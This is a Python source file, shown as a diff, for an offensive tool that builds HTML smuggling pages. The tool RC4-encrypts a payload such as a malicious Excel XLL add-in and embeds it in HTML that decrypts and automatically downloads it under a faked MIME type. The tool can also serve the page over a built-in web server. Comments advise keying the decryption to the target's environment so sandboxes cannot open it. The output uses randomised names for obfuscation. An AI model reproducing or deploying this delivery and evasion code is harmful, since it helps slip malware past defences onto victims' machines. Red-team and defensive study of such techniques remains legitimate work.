1+ #!/usr/bin/env python
2+ # -*- coding: utf-8 -*-
3+ #
4+ # Author: Arno0x0x - https://twitter.com/Arno0x0x
5+ # Distributed under the terms of the [GPLv3 licence](http://www.gnu.org/copyleft/gpl.html)
6+ #
7+ # NOTES:
8+ # 1) This tool was inspired and is derived from the great 'demiguise' tool : https://github.com/nccgroup/demiguise
9+ #
10+ # 2) This tool creates an HTML file containing an embeded RC4 encrypted XLL payload which is automatically delivered to the end-user
11+ #
12+ # 3) The b64AndRC4 function used on the binary input (from the XLL file) is a mix Mix of:
13+ # https://gist.github.com/borismus/1032746 and https://gist.github.com/farhadi/2185197
14+ #
15+ # 4) Check https://gist.github.com/Arno0x/f71a9db515ddea686ccdd77666bebbaa for an easy malicious XLL creation
16+ #
17+ # 5) In the HTML template (html.tpl file) it is advisable to insert your own key environmental derivation function below in place
18+ # of the 'keyFunction'.
19+ # You should derive your key from the environment so that it only works on your intended target (and not in a sandbox).
20+
21+ import os
22+ import sys
23+ import base64
24+ import argparse
25+ import random
26+ import string
27+
28+ #=====================================================================================
29+ # These are the MIME types that will be presented to the user (even if some are fake)
30+ mimeTypeDict = {
31+ ".doc" : "application/msword" ,
32+ ".docx" : "application/msword" ,
33+ ".docm" : "application/msword" ,
34+ ".xls" : "application/vnd.ms-excel" ,
35+ ".xlsx" : "application/vnd.ms-excel" ,
36+ ".xlsm" : "application/vnd.ms-excel" ,
37+ ".xll" : "application/vnd.ms-excel" ,
38+ ".ppt" : "application/vnd.ms-powerpoint" ,
39+ ".pps" : "application/vnd.ms-powerpoint" ,
40+ ".ppsx" : "application/vnd.ms-powerpoint" ,
41+ ".exe" : "application/octet-stream" ,
42+ ".js" : "application/js"
43+ }
44+
45+ #=====================================================================================
46+ # Helper functions
47+ #=====================================================================================
48+ def color (string , color = None ):
49+ """
50+ Author: HarmJ0y, borrowed from Empire
51+ Change text color for the Linux terminal.
52+ """
53+
54+ attr = []
55+
56+ if color :
57+ if color .lower () == "red" :
58+ attr .append ('31' )
59+ elif color .lower () == "green" :
60+ attr .append ('32' )
61+ elif color .lower () == "blue" :
62+ attr .append ('34' )
63+ return '\x1b [%sm%s\x1b [0m' % (';' .join (attr ), string )
64+
65+ else :
66+ # bold
67+ attr .append ('1' )
68+ if string .strip ().startswith ("[!]" ):
69+ attr .append ('31' )
70+ return '\x1b [%sm%s\x1b [0m' % (';' .join (attr ), string )
71+ elif string .strip ().startswith ("[+]" ):
72+ attr .append ('32' )
73+ return '\x1b [%sm%s\x1b [0m' % (';' .join (attr ), string )
74+ elif string .strip ().startswith ("[?]" ):
75+ attr .append ('33' )
76+ return '\x1b [%sm%s\x1b [0m' % (';' .join (attr ), string )
77+ elif string .strip ().startswith ("[*]" ):
78+ attr .append ('34' )
79+ return '\x1b [%sm%s\x1b [0m' % (';' .join (attr ), string )
80+ else :
81+ return string
82+
83+ #----------------------------------------------------------------
84+ def rand ():
85+ return '' .join (random .choice (string .ascii_uppercase + string .ascii_lowercase ) for _ in range (8 ))
86+
87+
88+ #------------------------------------------------------------------------
89+ def convertFromTemplate (parameters , templateFile ):
90+ try :
91+ with open (templateFile ) as f :
92+ src = string .Template (f .read ())
93+ result = src .substitute (parameters )
94+ f .close ()
95+ return result
96+ except IOError :
97+ print color ("[!] Could not open or read template file [{}]" .format (templateFile ))
98+ return None
99+
100+ #=====================================================================================
101+ # Class providing RC4 encryption functions
102+ #=====================================================================================
103+ class RC4 :
104+ def __init__ (self , key = None ):
105+ self .state = range (256 ) # initialisation de la table de permutation
106+ self .x = self .y = 0 # les index x et y, au lieu de i et j
107+
108+ if key is not None :
109+ self .key = key
110+ self .init (key )
111+
112+ # Key schedule
113+ def init (self , key ):
114+ for i in range (256 ):
115+ self .x = (ord (key [i % len (key )]) + self .state [i ] + self .x ) & 0xFF
116+ self .state [i ], self .state [self .x ] = self .state [self .x ], self .state [i ]
117+ self .x = 0
118+
119+ # Encrypt binary input data
120+ def binaryEncrypt (self , data ):
121+ output = [None ]* len (data )
122+ for i in xrange (len (data )):
123+ self .x = (self .x + 1 ) & 0xFF
124+ self .y = (self .state [self .x ] + self .y ) & 0xFF
125+ self .state [self .x ], self .state [self .y ] = self .state [self .y ], self .state [self .x ]
126+ output [i ] = chr ((data [i ] ^ self .state [(self .state [self .x ] + self .state [self .y ]) & 0xFF ]))
127+ return '' .join (output )
128+
129+ # Encrypt string input data
130+ def stringEncrypt (self , data ):
131+ """
132+ Decrypt/encrypt the passed data using RC4 and the given key.
133+ https://github.com/EmpireProject/Empire/blob/73358262acc8ed3c34ffc87fa593655295b81434/data/agent/stagers/dropbox.py
134+ """
135+ S , j , out = range (256 ), 0 , []
136+ for i in range (256 ):
137+ j = (j + S [i ] + ord (self .key [i % len (self .key )])) % 256
138+ S [i ], S [j ] = S [j ], S [i ]
139+ i = j = 0
140+ for char in data :
141+ i = (i + 1 ) % 256
142+ j = (j + S [i ]) % 256
143+ S [i ], S [j ] = S [j ], S [i ]
144+ out .append (chr (ord (char ) ^ S [(S [i ] + S [j ]) % 256 ]))
145+ return '' .join (out )
146+
147+ #=====================================================================================
148+ # MAIN FUNCTION
149+ #=====================================================================================
150+ if __name__ == '__main__' :
151+
152+ #------------------------------------------------------------------------
153+ # Parse arguments
154+ parser = argparse .ArgumentParser (description = 'Creates an HTML file containing an embedded RC4 encrypted file' )
155+ parser .add_argument ("-k" , "--key" , help = "Encryption key" , dest = "key" )
156+ parser .add_argument ("-f" , "--file" , help = "Path to the file to embed into HTML" , dest = "fileName" )
157+ parser .add_argument ("-o" , "--output" , help = "Ouput file name" , dest = "outFileName" )
158+ parser .add_argument ("-m" , "--mime" , help = "Forced mime type for output file" , dest = "mimeType" )
159+ parser .add_argument ("-w" , "--webserver" , help = "Starts a web server at the end of the script" , action = "store_true" , default = False , dest = "startWebServer" )
160+ args = parser .parse_args ()
161+
162+ if args .key and args .fileName and args .outFileName :
163+ #------------------------------------------------------------------------
164+ # Open XLL file and read all bytes from it
165+ try :
166+ with open (args .fileName ) as fileHandle :
167+ fileBytes = bytearray (fileHandle .read ())
168+ fileHandle .close ()
169+ print color ("[*] File [{}] successfully loaded !" .format (args .fileName ))
170+ except IOError :
171+ print color ("[!] Could not open or read file [{}]" .format (args .fileName ))
172+ quit ()
173+
174+ #------------------------------------------------------------------------
175+ # Create the RC4 encryption object
176+ rc4Encryptor = RC4 (args .key )
177+
178+ #------------------------------------------------------------------------
179+ # Determine the mime type to apply based on the file extension or from the
180+ # mime type passed as an argument
181+ if not args .mimeType :
182+ fileExtension = os .path .splitext (args .fileName )[1 ]
183+ try :
184+ mimeType = mimeTypeDict [fileExtension ]
185+ except KeyError :
186+ print color ("[!] Could not determine the mime type for the input file. Force it using the -m switch." )
187+ quit ()
188+ else :
189+ mimeType = args .mimeType
190+
191+ #------------------------------------------------------------------------
192+ # Encrypt and base64 encode the XLL file
193+ payload = base64 .b64encode (rc4Encryptor .binaryEncrypt (fileBytes ))
194+ print color ("[+] Encrypted input file with key [{}]" .format (args .key ))
195+
196+
197+ # blobShim borrowed from https://github.com/mholt/PapaParse/issues/175#issuecomment-75597039
198+ blobShim = '(function(b,fname){if(window.navigator.msSaveOrOpenBlob)'
199+ blobShim += 'window.navigator.msSaveBlob(b,fname);else{var f = new File([b], fname, {type:"' + mimeType + '"});'
200+ blobShim += 'var a=window.document.createElement("a");a.href=window.URL.createObjectURL(f);a.download=fname;'
201+ blobShim += 'document.body.appendChild(a);a.click();document.body.removeChild(a);}})'
202+
203+ #------------------------------------------------------------------------
204+ # Preparing all parameters for substitution in the HTML template
205+ rc4Function = rand ()
206+ b64AndRC4Function = rand ()
207+ keyFunction = rand ()
208+ varPayload = rand ()
209+ varBlobObjectName = rand ()
210+ varBlob = rand ()
211+ varBlobShim = rand ()
212+ blobShimEncrypted = base64 .b64encode (rc4Encryptor .stringEncrypt (blobShim ))
213+ blobObjectNameEncrypted = base64 .b64encode (rc4Encryptor .stringEncrypt ("Blob" ))
214+ fileName = os .path .basename (args .fileName )
215+
216+ params = {
217+ "rc4Function" : rc4Function , "b64AndRC4Function" : b64AndRC4Function , "keyFunction" : keyFunction , "key" : args .key , \
218+ "varPayload" : varPayload , "payload" : payload , "varBlobObjectName" : varBlobObjectName , \
219+ "blobObjectNameEncrypted" : blobObjectNameEncrypted , "varBlob" : varBlob , "mimeType" : mimeType , \
220+ "varBlobShim" : varBlobShim , "blobShimEncrypted" : blobShimEncrypted , "fileName" : fileName
221+ }
222+
223+ # Formating the HTML template with all parameters
224+ resultHTML = convertFromTemplate (params ,"templates/html.tpl" )
225+
226+ if resultHTML is not None :
227+ #------------------------------------------------------------------------
228+ # Write the HTML file
229+ htmlFile = "output/" + args .outFileName
230+ try :
231+ with open (htmlFile , 'w' ) as fileHandle :
232+ fileHandle .write (resultHTML )
233+ print color ("[*] File [{}] successfully created !" .format (htmlFile ))
234+ except IOError :
235+ print color ("[!] Could not open or write file [{}]" .format (htmlFile ))
236+ quit ()
237+
238+ #------------------------------------------------------------------------
239+ # If it was requested to start a web server, let's do it !
240+ if args .startWebServer :
241+ os .chdir ("output" )
242+ import SimpleHTTPServer
243+ import SocketServer
244+ PORT = 80
245+ Handler = SimpleHTTPServer .SimpleHTTPRequestHandler
246+ httpd = SocketServer .TCPServer (("" , PORT ), Handler )
247+ httpd .serve_forever ()
248+ else :
249+ parser .print_help ()
250+ print color ("\n Example: ./{} -k mysecretkey -f payloads_examples/calc.xll -o index.html\n " .format (os .path .basename (__file__ )),"green" )
251+
0 commit comments